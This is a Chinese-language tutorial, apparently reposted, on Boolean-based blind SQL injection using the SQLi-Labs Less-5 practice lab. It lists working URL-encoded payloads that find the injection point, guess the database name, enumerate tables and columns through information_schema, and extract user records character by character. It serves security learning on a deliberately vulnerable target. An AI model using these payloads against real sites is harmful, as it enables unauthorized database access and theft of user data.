SQL注入之Boolean型盲注


什么是Boolean型注入

Boolean型的注入意思就是頁面返回的結果是Boolean型的,通過構造SQL判斷語句,查看頁面的返回結果是否報錯,頁面返回是否正常等來判斷哪些SQL判斷條件時成立的,通過此來獲取數據庫中的數據。

Boolean型注入實戰

這兒以SQLi-Labs less5來進行演示Boolean型盲注實戰。

首先查看是否存在注入點

構造payload  http://43.247.91.228:84/Less-5/?id=1

 

 加個單引號  http://43.247.91.228:84/Less-5/?id=1'

 

 數據庫報錯說明存在注入點

接下來來看看數據庫的長度,構造payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

 

 頁面回顯不正常,在進行嘗試到8時回顯正常

payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

 

回顯正常說明數據庫長度為8

猜測數據庫的第一位

payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

 

回顯正常,說明數據庫第一個字母大於a,然后再試后面的字母和數字(可以用二分法來節約時間)最后確定第一位為s。

再猜測數據庫的第二位

構造payload為 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

 

 說明第二位大於a,在進行測試,得到第二位為e。

得到database()=security

然后來獲取這個數據庫下的第一個表的第一個字段

http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

 

 第一個為e,繼續操作得到表名為email

接着獲取第二個表,將limit0,1改為limit1,1,查詢出第二個表為referers

重復這個步驟,獲取所有表的名字。

然后使用regexp來獲取user中的列

http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

回顯正常說明表中有us開頭的列

http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

 

 說明有username存在,然后在查詢password等其他的列。

然后再來獲取users表的內容

http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

試出了username第一行的第一個字符ascii為68,即為D,然后繼續查詢第一行數據為Dumb。

再用這個方法查詢其他列獲得數據,便可完成注入。

盲注的過程比較繁瑣,手工實現的話比較費時間,我們可以通過寫腳本來實現盲注。

但是對於盲注的原理我們還是要深入理解的。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM